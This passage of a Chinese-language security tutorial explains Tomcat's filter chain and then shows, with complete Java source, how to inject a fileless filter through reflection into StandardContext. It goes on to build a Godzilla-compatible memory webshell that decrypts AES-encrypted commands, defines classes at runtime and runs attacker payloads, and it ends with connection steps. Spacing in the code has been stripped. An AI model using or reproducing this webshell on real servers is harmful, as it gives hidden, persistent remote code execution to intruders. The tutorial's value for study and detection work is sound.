向filterchain中添加filterconfigfilterChain.addFilter(filterConfig)，遍歷filters是否存在要傳入的filterConfig防止重復添加，當filters.length為0時新建長度為10的filters并添加傳入的filterConfig

voidaddFilter(ApplicationFilterConfigfilterConfig){

//Preventthesamefilterbeingaddedmultipletimes
for(ApplicationFilterConfigfilter:filters)
if(filter==filterConfig)
return;

if(n==filters.length){
ApplicationFilterConfig[]newFilters=
newApplicationFilterConfig[n+INCREMENT];
System.arraycopy(filters,0,newFilters,0,n);
filters=newFilters;
}
filters[n++]=filterConfig;

}

至此filterChain封裝完成，返回到StandardWrapperValve#invoke方法中執行filterChain.doFilter(request.getRequest(), response.getResponse());進入當前攔截器責任鏈的執行階段。

publicvoiddoFilter(ServletRequestrequest,ServletResponseresponse)
throwsIOException,ServletException{

if(Globals.IS_SECURITY_ENABLED){
finalServletRequestreq=request;
finalServletResponseres=response;
try{
java.security.AccessController.doPrivileged(
newjava.security.PrivilegedExceptionAction(){
@Override
publicVoidrun()
throwsServletException,IOException{
internalDoFilter(req,res);
returnnull;
}
}
);
}catch(PrivilegedActionExceptionpe){
Exceptione=pe.getException();
if(einstanceofServletException)
throw(ServletException)e;
elseif(einstanceofIOException)
throw(IOException)e;
elseif(einstanceofRuntimeException)
throw(RuntimeException)e;
else
thrownewServletException(e.getMessage(),e);
}
}else{
internalDoFilter(request,response);
}
}

在doFilter方法中會ApplicationFilterChain#internalDoFilter，通過filterConfig.getFilter()獲取filter實例后依次調用filterChain中filter的doFilter方法完成執行。

整個的執行過程總結如下：

1. 1.StandardWrapperValve#invoke中調用ApplicationFilterFactory#createFilterChain方法，在createFilterChain中從當前context中取到filterMaps，遍歷filterMaps根據適配情況從filterMap中取到filterName再據此filterName從context中取到對應的filterConfig。

2. 2.ApplicationFilterFactory#createFilterChain中調用ApplicationFilterChain#addFilter，在addFilter方法中將傳入的filterConfig裝入filterChain。

3. 3.完成filterChain的封裝后執行其doFilter方法，依次執行其中每個filter對象的doFilter方法。

動態注冊Tomcat_Filter

實現邏輯

流程分析前要用的那幾個對象存儲在StandardContext對象中。

在Tomcat中，ServletContext是整個Web應用程序的基礎接口，代表當前Web應用程序的上下文環境，提供訪問Web應用程序配置信息和資源的方法。ApplicationContext是ServletContext的實現類，用于管理整個Web應用程序的生命周期和資源。而StandardContext則是ApplicationContext的具體實現類之一，用于表示一個Web應用程序的標準上下文實現。因此，它們三者之間是一種包含關系，即StandardContext是ApplicationContext的子類，ApplicationContext是ServletContext的子類。 根據其關系可通過如下方式獲取StandardContext對象。

ServletContextservletContext=req.getServletContext();
Fieldf=servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
ApplicationContextapplicationContext=(ApplicationContext)f.get(servletContext);
f=applicationContext.getClass().getDeclaredField("context");
f.setAccessible(true);
StandardContextstandardContext=(StandardContext)f.get(applicationContext);

創建一個要注入的惡意類

FilterevalFiler=newFilter(){
@Override
publicvoidinit(FilterConfigfilterConfig)throwsServletException{
System.out.println("evalFilterinit~");
}

@Override
publicvoiddoFilter(ServletRequestrequest,ServletResponseresponse,FilterChainchain)throwsIOException,ServletException{
System.out.println("evalFilterdoFilter~");
response.getWriter().println("injectsuccess!");
chain.doFilter(request,response);
}

@Override
publicvoiddestroy(){

}
};
Stringname="Hasaki";

首先初始化過程在filterStart方法中filterConfig = new ApplicationFilterConfig(this, filterDefs.get(name));動態創建時并不會調用filterStart方法但與其構造對應的filterConfig對象原理一樣，使用創建其filterconfig對象用到了filterDefs那么應該首先創建惡意filter的filterDef并添加至當前應用的filterDefs中

FilterDeffilterDef=newFilterDef();
filterDef.setFilter(evalFilter);
filterDef.setFilterName(name)
filterDef.serFilterClassName(evalFilter.getClass().getName());

//通過StandardContext中的addFilterDef方法將其加入filteDefs中
standardContext.addFilterDef(filterDef);

創建其FilterConfig實例并加入當前應用的filterConfigs中

//創建filterConfig實例并加入到filterConfigs中
//由于ApplicationFilter構造方法是protected非public只能通過反射進行創建
Constructor[]constructors=ApplicationFilterConfig.class.getDeclaredConstructors();
constructors[0].setAccessible(true);

ApplicationFilterConfigfilterConfig=(ApplicationFilterConfig)constructors[0].newInstance(newObject[]{standardContext,filterDef});

f=standardContext.getClass().getDeclaredField("filterConfigs");
f.setAccessible(true);
HashMapfilterConfigs=(HashMap)f.get(standardContext);
filterConfigs.put(name,filterConfig);

根據filterChain實例的創建過程需要把filterMap定義出來并加入filterMaps

//創建filterMap實例并加入到filterMaps中
FilterMapfilterMap=newFilterMap();
filterMap.addURLPattern("*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());

//通過StandardContext的addFilterMapBefore方法將filterMap加入到filterMaps中的第一個位置
standardContext.addFilterMapBefore(filterMap);

至此在tomcat中動態注冊自定義filter就完成了，完整代碼如下：

packagecom.zzservlet;

importorg.apache.catalina.core.ApplicationContext;
importorg.apache.catalina.core.ApplicationFilterConfig;
importorg.apache.catalina.core.StandardContext;
importorg.apache.catalina.deploy.FilterDef;
importorg.apache.catalina.deploy.FilterMap;
importorg.apache.catalina.Context;


importjavax.servlet.*;
importjavax.servlet.http.HttpServlet;
importjavax.servlet.http.HttpServletRequest;
importjavax.servlet.http.HttpServletResponse;
importjava.io.IOException;
importjava.lang.reflect.Constructor;
importjava.lang.reflect.Field;
importjava.lang.reflect.Method;
importjava.util.HashMap;

publicclassHelloWorldextendsHttpServlet{


@Override
protectedvoiddoGet(HttpServletRequestreq,HttpServletResponseresp)throwsServletException,IOException{
//創建惡意攔截器
FilterevalFiler=newFilter(){
@Override
publicvoidinit(FilterConfigfilterConfig)throwsServletException{
System.out.println("evalFilterinit~");
}

@Override
publicvoiddoFilter(ServletRequestrequest,ServletResponseresponse,FilterChainchain)throwsIOException,ServletException{
System.out.println("evalFilterdoFilter~");
response.getWriter().println("injectsuccess!");
chain.doFilter(request,response);
}

@Override
publicvoiddestroy(){

}
};



try{
Stringname="Hasaki";
ServletContextservletContext=req.getServletContext();
//判斷攔截器是否已經注冊過了
if(servletContext.getFilterRegistration(name)==null){
Fieldf=servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
ApplicationContextapplicationContext=(ApplicationContext)f.get(servletContext);
f=applicationContext.getClass().getDeclaredField("context");
f.setAccessible(true);
StandardContextstandardContext=(StandardContext)f.get(applicationContext);


//創建filterDef實例并加入到filterDefs中
FilterDeffilterDef=newFilterDef();
filterDef.setFilter(evalFiler);
filterDef.setFilterName(name);
filterDef.setFilterClass(evalFiler.getClass().getName());

standardContext.addFilterDef(filterDef);

//創建filterConfig實例并加入到filterConfigs中
Constructor[]constructors=ApplicationFilterConfig.class.getDeclaredConstructors();
constructors[0].setAccessible(true);

ApplicationFilterConfigfilterConfig=(ApplicationFilterConfig)constructors[0].newInstance(newObject[]{standardContext,filterDef});

f=standardContext.getClass().getDeclaredField("filterConfigs");
f.setAccessible(true);
HashMapfilterConfigs=(HashMap)f.get(standardContext);
filterConfigs.put(name,filterConfig);



//創建filterMap實例并加入到filterMaps中
FilterMapfilterMap=newFilterMap();
filterMap.addURLPattern("*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());

standardContext.addFilterMapBefore(filterMap);
}



}catch(Exceptione){e.printStackTrace();}


}
}

訪問http://localhost:8080/hello后訪問http://localhost:8080/出現自定義filter中doFilter方法中執行的打印內容。

實現一個Godzilla內存馬

代碼中/hello2可替換成任意存在的URL路徑或者設置"*"。

packagecom.utils;


importorg.apache.catalina.core.ApplicationContext;
importorg.apache.catalina.core.ApplicationFilterConfig;
importorg.apache.catalina.core.StandardContext;
importorg.apache.catalina.deploy.FilterDef;
importorg.apache.catalina.deploy.FilterMap;

importjavax.crypto.Cipher;
importjavax.crypto.spec.SecretKeySpec;
importjavax.servlet.*;
importjavax.servlet.http.HttpServletRequest;
importjavax.servlet.http.HttpServletResponse;
importjavax.servlet.http.HttpSession;
importjava.io.ByteArrayOutputStream;
importjava.io.IOException;
importjava.lang.reflect.Constructor;
importjava.lang.reflect.Field;
importjava.math.BigInteger;
importjava.security.MessageDigest;
importjava.util.HashMap;

publicclassMyGodzillaFilterShellextendsClassLoaderimplementsFilter{


privateServletContextservletContext;
StringPwd="pass";
Stringxc="3c6e0b8a9c15224a";
Stringmd5=md5(this.Pwd+this.xc);
publicHttpServletRequestrequest=null;
publicHttpServletResponseresponse=null;
publicStringcs="UTF-8";



publicMyGodzillaFilterShell(){}

publicMyGodzillaFilterShell(ClassLoaderz){super(z);}

publicClassQ(byte[]cb){
returndefineClass(cb,0,cb.length);
}


publicStandardContextgetStandardContext(){
StandardContextstandardContext=null;

this.servletContext=request.getServletContext();
try{
Fieldf=this.servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
ApplicationContextapplicationContext=(ApplicationContext)f.get(this.servletContext);
f=applicationContext.getClass().getDeclaredField("context");
f.setAccessible(true);
standardContext=(StandardContext)f.get(applicationContext);

}catch(Exceptione){}
returnstandardContext;
}

publicStringaddFiter(){
//通過request對象回去StandardContext實例對象
StandardContextstandardContext=getStandardContext();
StringfilterName="Aatrox";
Stringres=null;


//判斷filterName是否已被注冊過
if(request.getServletContext().getFilterRegistration(filterName)==null){

//注冊過程
try{
FilterDeffilterDef=newFilterDef();
filterDef.setFilterClass(this.getClass().getName());
filterDef.setFilter(this);
filterDef.setFilterName(filterName);

standardContext.addFilterDef(filterDef);

Constructor[]constructors=ApplicationFilterConfig.class.getDeclaredConstructors();
constructors[0].setAccessible(true);
ApplicationFilterConfigfilterConfig=(ApplicationFilterConfig)constructors[0].newInstance(newObject[]{standardContext,filterDef});

Fieldf=standardContext.getClass().getDeclaredField("filterConfigs");
f.setAccessible(true);
HashMapfilterConfigs=(HashMap)f.get(standardContext);
filterConfigs.put(filterName,filterConfig);

FilterMapfilterMap=newFilterMap();
filterMap.addURLPattern("/hello2");
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());

standardContext.addFilterMapBefore(filterMap);

res="Success!";

}catch(Exceptione){
res="Error!";
}
}else{
res="Filteralreadyexisted!";
}
returnres;
}


publicstaticStringmd5(Strings){
Stringret=null;

try{
MessageDigestm=MessageDigest.getInstance("MD5");
m.update(s.getBytes(),0,s.length());
ret=(newBigInteger(1,m.digest())).toString(16).toUpperCase();
}catch(Exceptionexception){}

returnret;
}





publicstaticbyte[]base64Decode(Stringbs)throwsException{
byte[]value=null;
try{
Classbase64=Class.forName("java.util.Base64");
Objectdecoder=base64.getMethod("getDecoder",null).invoke(base64,(Object[])null);
value=(byte[])decoder.getClass().getMethod("decode",newClass[]{String.class}).invoke(decoder,newObject[]{bs});
}catch(Exceptione){
try{
Classbase64=Class.forName("sun.misc.BASE64Decoder");
Objectdecoder=base64.newInstance();
value=(byte[])decoder.getClass().getMethod("decodeBuffer",newClass[]{String.class}).invoke(decoder,newObject[]{bs});
}catch(Exceptionexception){}
}

returnvalue;
}

publicstaticStringbase64Encode(byte[]bs)throwsException{
Stringvalue=null;
try{
Classbase64=Class.forName("java.util.Base64");
ObjectEncoder=base64.getMethod("getEncoder",null).invoke(base64,(Object[])null);
value=(String)Encoder.getClass().getMethod("encodeToString",newClass[]{byte[].class}).invoke(Encoder,newObject[]{bs});
}catch(Exceptione){
try{
Classbase64=Class.forName("sun.misc.BASE64Encoder");
ObjectEncoder=base64.newInstance();
value=(String)Encoder.getClass().getMethod("encode",newClass[]{byte[].class}).invoke(Encoder,newObject[]{bs});
}catch(Exceptionexception){}
}

returnvalue;
}

publicbyte[]x(byte[]s,booleanm){
try{
Cipherc=Cipher.getInstance("AES");
c.init(m?1:2,newSecretKeySpec(this.xc.getBytes(),"AES"));
returnc.doFinal(s);
}catch(Exceptione){
returnnull;
}
}


publicbooleanequals(Objectobj){
parseObj(obj);
StringBufferoutput=newStringBuffer();

try{
this.response.setContentType("text/html");
this.request.setCharacterEncoding(this.cs);
this.response.setCharacterEncoding(this.cs);
output.append(addFiter());
}catch(Exceptione){
output.append("error:"+e.toString());
}
try{
this.response.getWriter().print(output.toString());
this.response.getWriter().flush();
this.response.getWriter().close();
}catch(Exceptionexception){}

returntrue;
}


//解析參數，傳入的值必須是對象數組
publicvoidparseObj(Objectobj){
Object[]data=(Object[])obj;
this.request=(HttpServletRequest)data[0];
this.response=(HttpServletResponse)data[1];

}




@Override
publicvoidinit(FilterConfigfilterConfig)throwsServletException{

}

@Override
publicvoiddoFilter(ServletRequestreq,ServletResponseresp,FilterChainchain)throwsIOException,ServletException{
//webshell實現部分，負責實現接收/返回數據解析、加解密等
try{
HttpServletRequestrequest=(HttpServletRequest)req;
HttpServletResponseresponse=(HttpServletResponse)resp;

HttpSessionsession=request.getSession();

byte[]data=base64Decode(req.getParameter(this.Pwd));
data=x(data,false);
if(session.getAttribute("payload")==null){
session.setAttribute("payload",(newMyGodzillaFilterShell(getClass().getClassLoader())).Q(data));
}else{
request.setAttribute("parameters",data);
ByteArrayOutputStreamarrOut=newByteArrayOutputStream();
Objectf=((Class)session.getAttribute("payload")).newInstance();
f.equals(arrOut);
f.equals(data);
response.getWriter().write(this.md5.substring(0,16));
f.toString();
response.getWriter().write(base64Encode(x(arrOut.toByteArray(),true)));
response.getWriter().write(this.md5.substring(16));
}
}catch(Exceptionexception){}
//chain.doFilter(req,resp);

}

@Override
publicvoiddestroy(){

}
}

在之前編寫的hello這個Servlet中嘗試觸發，這是在已知request對象的場景下，在未知場景下可結合前面反序列化回顯進行利用。

packagecom.zzservlet;

importcom.utils.MyGodzillaFilterShell;
importorg.apache.catalina.core.ApplicationContext;
importorg.apache.catalina.core.ApplicationFilterConfig;
importorg.apache.catalina.core.StandardContext;
importorg.apache.catalina.deploy.FilterDef;
importorg.apache.catalina.deploy.FilterMap;
importorg.apache.catalina.Context;


importjavax.servlet.*;
importjavax.servlet.http.HttpServlet;
importjavax.servlet.http.HttpServletRequest;
importjavax.servlet.http.HttpServletResponse;
importjava.io.IOException;
importjava.lang.reflect.Constructor;
importjava.lang.reflect.Field;
importjava.lang.reflect.Method;
importjava.util.HashMap;

publicclassHelloWorldextendsHttpServlet{


@Override
protectedvoiddoGet(HttpServletRequestreq,HttpServletResponseresp)throwsServletException,IOException{

FilterevalFilter=newMyGodzillaFilterShell();

evalFilter.equals(newObject[]{req,resp});


}
}

訪問http://localhost:8080/hello

使用godzilla連接http://localhost:8080/hello2

0x04 參考鏈接

https://github.com/j1anFen/shiro_attack https://www.yuque.com/tianxiadamutou/zcfd4v/kd35na#de7894b8